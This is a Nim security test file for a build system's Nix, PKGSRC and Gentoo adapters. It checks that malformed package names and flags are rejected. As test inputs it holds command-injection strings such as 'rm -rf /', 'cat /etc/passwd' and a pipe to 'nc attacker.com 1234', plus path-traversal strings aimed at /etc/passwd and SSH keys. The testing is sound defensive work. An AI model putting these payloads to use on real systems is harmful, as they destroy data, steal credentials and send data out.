## test_security.nim ## Security validation tests for build system import std/[unittest, tables, os, strutils] import ../src/nimpak/build/[types, nix_adapter, pkgsrc_adapter, gentoo_adapter] suite "Security Validation Tests": test "Nix: Package name validation - valid names": let adapter = newNixAdapter() let validNames = @[ "firefox", "nixpkgs.firefox", "my-package", "package_name", "package.with.dots", "Package123", "a", # Single char "a" & "b".repeat(254) # Max length (255) ] for name in validNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) # Should not fail on validation if not result.success and result.errors.len > 0: check "Invalid package name" notin result.errors[0] test "Nix: Package name validation - invalid names": let adapter = newNixAdapter() let invalidNames = @[ "", # Empty "../etc/passwd", # Path traversal "/absolute/path", # Absolute path "package;rm -rf /", # Command injection "package`whoami`", # Command substitution "package$(whoami)", # Command substitution "package|cat", # Pipe "package&background", # Background "a" & "b".repeat(300) # Too long (>255) ] for name in invalidNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false check result.errors.len > 0 test "Nix: Override key validation - valid keys": let adapter = newNixAdapter() let validFlags = @[ "waylandSupport = true", "enable-feature = false", "with_option = true", "flag123 = true", "a = true" # Single char ] let request = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: validFlags, cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) # Should not fail on validation if not result.success and result.errors.len > 0: check "Invalid override key" notin result.errors[0] test "Nix: Override key validation - invalid keys": let adapter = newNixAdapter() let invalidKeys = @[ "bad;key = true", # Semicolon "bad`key = true", # Backtick "bad$key = true", # Dollar sign "bad key = true", # Space "bad/key = true", # Slash "bad\\key = true", # Backslash "a" & "b".repeat(150) & " = true" # Too long (>100) ] for flag in invalidKeys: let request = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[flag], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false test "PKGSRC: Package name validation": let adapter = newPkgsrcAdapter() # Valid names let validNames = @["bash", "firefox", "my-package"] for name in validNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) if not result.success and result.errors.len > 0: check "Invalid package name" notin result.errors[0] # Invalid names let invalidNames = @["../etc/passwd", "/absolute", "bad;name"] for name in invalidNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false test "PKGSRC: PKG_OPTIONS validation": let adapter = newPkgsrcAdapter() # Valid options let validOptions = @["wayland", "pulseaudio", "enable-feature"] let request1 = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: validOptions, cacheDir: getTempDir(), verbose: false ) let result1 = adapter.buildPackage(request1) if not result1.success and result1.errors.len > 0: check "Invalid PKG_OPTIONS" notin result1.errors[0] # Invalid options let invalidOptions = @["bad;option", "bad`option", "bad$option"] for opt in invalidOptions: let request = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[opt], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false test "Gentoo: Package name validation": let adapter = newGentooAdapter() # Valid names (including category/package format) let validNames = @["bash", "app-editors/vim", "sys-apps/portage"] for name in validNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) if not result.success and result.errors.len > 0: check "Invalid package name" notin result.errors[0] # Invalid names let invalidNames = @["../etc/passwd", "//absolute", "bad;name"] for name in invalidNames: let request = BuildRequest( packageName: name, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false test "Gentoo: USE flag validation": let adapter = newGentooAdapter() # Valid USE flags (including +/- prefixes) let validFlags = @["wayland", "-gtk", "+qt5", "pulseaudio"] let request1 = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: validFlags, cacheDir: getTempDir(), verbose: false ) let result1 = adapter.buildPackage(request1) if not result1.success and result1.errors.len > 0: check "Invalid USE flag" notin result1.errors[0] # Invalid USE flags let invalidFlags = @["bad;flag", "bad`flag", "bad$flag", "bad flag"] for flag in invalidFlags: let request = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[flag], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) check result.success == false test "Path traversal prevention - all adapters": let nixAdapter = newNixAdapter() let pkgsrcAdapter = newPkgsrcAdapter() let gentooAdapter = newGentooAdapter() let traversalAttempts = @[ "../../../etc/passwd", "../../root/.ssh/id_rsa", "package/../../../etc", "./../../sensitive" ] for attempt in traversalAttempts: # Test Nix let nixReq = BuildRequest( packageName: attempt, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) check nixAdapter.buildPackage(nixReq).success == false # Test PKGSRC let pkgsrcReq = BuildRequest( packageName: attempt, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) check pkgsrcAdapter.buildPackage(pkgsrcReq).success == false # Test Gentoo let gentooReq = BuildRequest( packageName: attempt, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) check gentooAdapter.buildPackage(gentooReq).success == false test "Command injection prevention - shell escaping": let adapter = newNixAdapter() let injectionAttempts = @[ "package; rm -rf /", "package && cat /etc/passwd", "package | nc attacker.com 1234", "package`whoami`", "package$(id)", "package & background_cmd" ] for attempt in injectionAttempts: let request = BuildRequest( packageName: attempt, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) let result = adapter.buildPackage(request) # Should be rejected by validation check result.success == false check result.errors.len > 0 test "Length limits enforcement": let adapter = newNixAdapter() # Package name too long (>255) let longName = "a" & "b".repeat(300) let req1 = BuildRequest( packageName: longName, version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) check adapter.buildPackage(req1).success == false # Override key too long (>100) let longKey = "a" & "b".repeat(150) & " = true" let req2 = BuildRequest( packageName: "test", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[longKey], cacheDir: getTempDir(), verbose: false ) check adapter.buildPackage(req2).success == false test "Empty input rejection": let nixAdapter = newNixAdapter() let pkgsrcAdapter = newPkgsrcAdapter() let gentooAdapter = newGentooAdapter() # Empty package name let emptyReq = BuildRequest( packageName: "", version: "", variantFlags: initTable[string, seq[string]](), sourceFlags: @[], cacheDir: getTempDir(), verbose: false ) check nixAdapter.buildPackage(emptyReq).success == false check pkgsrcAdapter.buildPackage(emptyReq).success == false check gentooAdapter.buildPackage(emptyReq).success == false